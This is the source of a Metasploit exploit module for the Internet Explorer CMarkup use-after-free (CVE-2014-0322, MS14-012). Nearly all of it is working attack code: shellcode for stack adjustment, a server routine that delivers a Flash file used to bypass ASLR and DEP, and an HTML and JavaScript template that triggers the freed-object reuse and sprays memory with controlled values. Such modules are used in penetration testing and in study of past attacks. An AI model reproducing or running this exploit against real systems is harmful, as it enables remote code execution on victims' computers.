MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free
2014-04-16 19:05:03##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free",
'Description' => %q{
This module exploits an use after free condition on Internet Explorer as used in the wild
on the "Operation SnowMan" in February 2014. The module uses Flash Player 12 in order to
bypass ASLR and finally DEP.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery and Exploit in the wild
'Jean-Jamil Khalife', # Exploit
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2014-0322' ],
[ 'MSB', 'MS14-012' ],
[ 'BID', '65551' ],
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html'],
[ 'URL', 'http://hdwsec.fr/blog/CVE-2014-0322.html' ]
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Payload' =>
{
'Space' => 960,
'DisableNops' => true,
'PrependEncoder' => stack_adjust
},
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => Msf::OperatingSystems::WINDOWS,
:os_flavor => Msf::OperatingSystems::WindowsVersions::SEVEN,
:ua_name => Msf::HttpClients::IE,
:ua_ver => '10.0',
:mshtml_build => lambda { |ver| ver.to_i < 16843 },
:flash => /^12\./
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
'Retries' => false
},
'Targets' =>
[
[ 'Windows 7 SP1 / IE 10 / FP 12', { } ],
],
'Privileged' => false,
'DisclosureDate' => "Feb 13 2014",
'DefaultTarget' => 0))
end
def stack_adjust
adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
adjust
end
def create_swf
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0322", "AsXploit.swf" )
fd = ::File.open( path, "rb" )
swf = fd.read(fd.stat.size)
fd.close
return swf
end
def exploit
@swf = create_swf
super
end
def on_request_uri(cli, request)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status("Sending SWF...")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
return
end
super
end
def on_request_exploit(cli, request, target_info)
print_status("Sending HTML...")
send_exploit_html(cli, exploit_template(cli, target_info))
end
def exploit_template(cli, target_info)
flash_payload = ""
get_payload(cli,target_info).unpack("V*").each do |i|
flash_payload << "0x#{i.to_s(16)},"
end
flash_payload.gsub!(/,$/, "")
html_template = %Q|
<html>
<head>
</head>
<body>
<script>
var g_arr = [];
var arrLen = 0x250;
function dword2data(dword)
{
var d = Number(dword).toString(16);
while (d.length < 8)
d = '0' + d;
return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
}
function eXpl()
{
var a=0;
for (a=0; a < arrLen; a++) {
g_arr[a] = document.createElement('div');
}
var b = dword2data(0x19fffff3);
while (b.length < 0x360) {
if (b.length == (0x98 / 2))
{
b += dword2data(0x1a000010);
}
else if (b.length == (0x94 / 2))
{
b += dword2data(0x1a111111);
}
else if (b.length == (0x15c / 2))
{
b += dword2data(0x42424242);
}
else
{
b += dword2data(0x19fffff3);
}
}
var d = b.substring(0, ( 0x340 - 2 )/2);
try{
this.outerHTML=this.outerHTML
} catch(e){
}
CollectGarbage();
for (a=0; a < arrLen; a++)
{
g_arr[a].title = d.substring(0, d.length);
}
}
function trigger()
{
var a = document.getElementsByTagName("script");
var b = a[0];
b.onpropertychange = eXpl;
var c = document.createElement('SELECT');
c = b.appendChild(c);
}
</script>
<embed src=#{rand_text_alpha(4 + rand(3))}.swf FlashVars="version=<%=flash_payload%>" width="10" height="10">
</embed>
</body>
</html>
|
return html_template, binding()
end
end
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